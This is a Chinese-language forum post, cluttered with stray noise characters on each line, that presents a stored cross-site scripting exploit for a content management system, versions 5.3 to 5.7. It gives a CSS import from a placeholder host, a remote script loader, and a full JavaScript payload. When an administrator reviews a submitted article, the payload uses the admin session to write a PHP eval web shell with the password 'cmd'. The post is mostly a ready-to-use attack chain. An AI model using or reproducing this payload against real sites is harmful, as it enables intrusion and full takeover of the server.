<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell3 G2 y; v F, n* K$ E% m
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
/ F5 W/ _# G0 A( d% b! g: d# x目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
( F3 A" i2 A7 @2 L下面说说利用方法。* V1 \' {' [1 t1 C' U$ I
条件有2个:
& \. ~ i& @; h+ T- a1.开启注册" O0 A" N1 a! b8 ?5 @- ]
2.开启投稿
7 Z! I1 g; D" `" Z注册会员----发表文章
% Z% j5 g4 ^; m6 k4 S内容填写:
8 b5 k! D L! P+ `8 X* }1 s+ j复制代码
1 T8 E: W! ]" ]: l<style>@im\port'\http://xxx.com/xss.css';</style>9 P' B" P; i; r+ h ?( A S
新建XSS.Css
" b4 A& D8 W5 W0 D e+ v/ P" U复制代码
; l p9 `' `2 j5 @.body{1 T' Y: }- D0 ]) C: ^+ E- D" ?
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }7 F$ n2 H: q+ v3 }8 U2 n
新建xss.js 内容为1 N, e$ Q% m) N: M
复制代码: ?/ k" \9 T& c; d3 I3 P, ] I. ]
1.var request = false;* e% D5 x0 o* C
2.if(window.XMLHttpRequest) {; U# A' e( S! U8 L5 ^
3.request = new XMLHttpRequest();
, p# x4 c9 u3 |' \4.if(request.overrideMimeType) {0 r Z9 n% C( w! }$ Q8 h
5.request.overrideMimeType('text/xml');
) Z! Y6 \- J9 Y1 J6 A- c" I6.}, E/ w: T" [, H% D) X
7.} else if(window.ActiveXObject) {- L" w- i; B$ d! f3 H4 s2 e# N7 O4 p
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];( n0 t; C) W3 B4 k
9.for(var i=0; i<versions.length; i++) {5 ]3 h3 F, r1 f K) ]( i
10.try {
1 Y4 y+ m' t Z' |' O11.request = new ActiveXObject(versions);
! _9 F* H$ X. F" [12.} catch(e) {}! ?# q$ D( l$ h ^, m
13.}
8 N9 U3 l; G. W: m5 x14.}0 D+ ^4 b f0 F' V& |1 H
15.xmlhttp=request;0 q% i$ H1 a0 y
16.function getFolder( url ){: q2 z) t: W" R5 X
17. obj = url.split('/')
. g" I" j" }+ X$ r) |) a4 {! p4 j18. return obj[obj.length-2]: N2 I s, V* v d
19.}
8 S" L: s( i* R/ Q3 I7 j20.oUrl = top.location.href;* P2 I+ v0 Q7 k1 }2 v7 Y
21.u = getFolder(oUrl);5 v+ W3 V3 y9 G" a
22.add_admin();
% o% i- B* r! j6 H. ?$ e23.function add_admin(){5 [8 c. t0 c# f! y* [- b0 D/ z2 x0 B
24.var url= "/"+u+"/sys_sql_query.php";8 I" ~* L" k! V- o: v/ s$ Q& j+ O
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";* U3 Q2 O$ g) i# N
26.xmlhttp.open("POST", url, true);
5 e0 Y% i5 P1 z1 N# g7 v* D/ p4 a27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");# n7 w: f/ R' V _1 Z, [, T2 }
28.xmlhttp.setRequestHeader("Content-length", params.length); F1 D& f+ S# T) S- Y
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");; U: G# h& g) w7 Z8 K: W2 d7 g
30.xmlhttp.send(params);
1 Z* W" d& V; P1 i31.}
# x& J' S4 p3 a+ K( h! d0 s当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |